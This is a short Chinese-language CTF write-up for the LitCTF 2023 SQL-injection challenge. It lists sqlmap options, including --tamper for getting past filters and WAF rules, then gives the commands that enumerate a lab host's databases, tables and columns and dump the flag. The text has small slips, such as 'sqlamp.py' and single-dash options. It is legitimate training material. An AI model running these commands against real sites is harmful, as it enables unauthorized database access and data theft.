Bootstrap

[LitCTF 2023]这是什么?SQL !注一下 ! (sqlmap实战)

先来简单介绍一下sqlmap:

        sqlmap 是一款开源的自动化 SQL 注入和数据库安全评估工具。它能够检测和利用 SQL 注入漏洞,以及接管数据库服务器。

以下是基本的命令:

-u 指定目标URL (可以是http协议也可以是https协议)

-d 连接数据库

--dbs 列出所有的数据库、

--current-db 列出当前数据库

--tables 列出当前的表

--columns 列出当前的列

-D 选择使用哪个数据库

-T 选择使用哪个表

-C 选择使用哪个列

--dump 获取字段中的数据

--batch 自动选择yes

--smart 启发式快速判断,节约浪费时间

--forms 尝试使用post注入

sqlmap 还提供了一些高级用法,例如:

  • 使用 --tamper 参数来绕过应用程序的敏感字符过滤或 WAF 规则。
  • 使用 --level--risk 参数来指定测试的深度和广度。
  • 使用 --random-agent--user-agent 参数来指定自定义的 User-Agent。

基本语句是:python sqlamp.py -u “目标URL” “指令”

如果你需要指定参数类型,可以使用 --param-type 参数。例如,如果你知道参数是通过GET方式
传递的,可以这样指定:

sqlmap -u "http://example.com/page.php" --param id --param-type GET

Post 请求
python sqlmap.py -u "目标URL" --data "POST参数"

接下来上实战([LitCTF 2023]这是什么?SQL !注一下 !)

第一步先查他的数据库

python sqlmap.py -u http://node5.anna.nssctf.cn:21645/?id=1 -dbs

看到有以下

第二步选一个库查它的表

python sqlmap.py -u http://node5.anna.nssctf.cn:21645/?id=1 -D ctftraining -tables

看到flag出来了

接着就是通过flag查它表里的列

python sqlmap.py -u http://node5.anna.nssctf.cn:21645/?id=1 -D ctftraining -T flag -columns

最后一步查列里的字段

python sqlmap.py -u http://node5.anna.nssctf.cn:21645/?id=1 -D ctftraining -T flag -C flag -dump

也是得出了答案。

;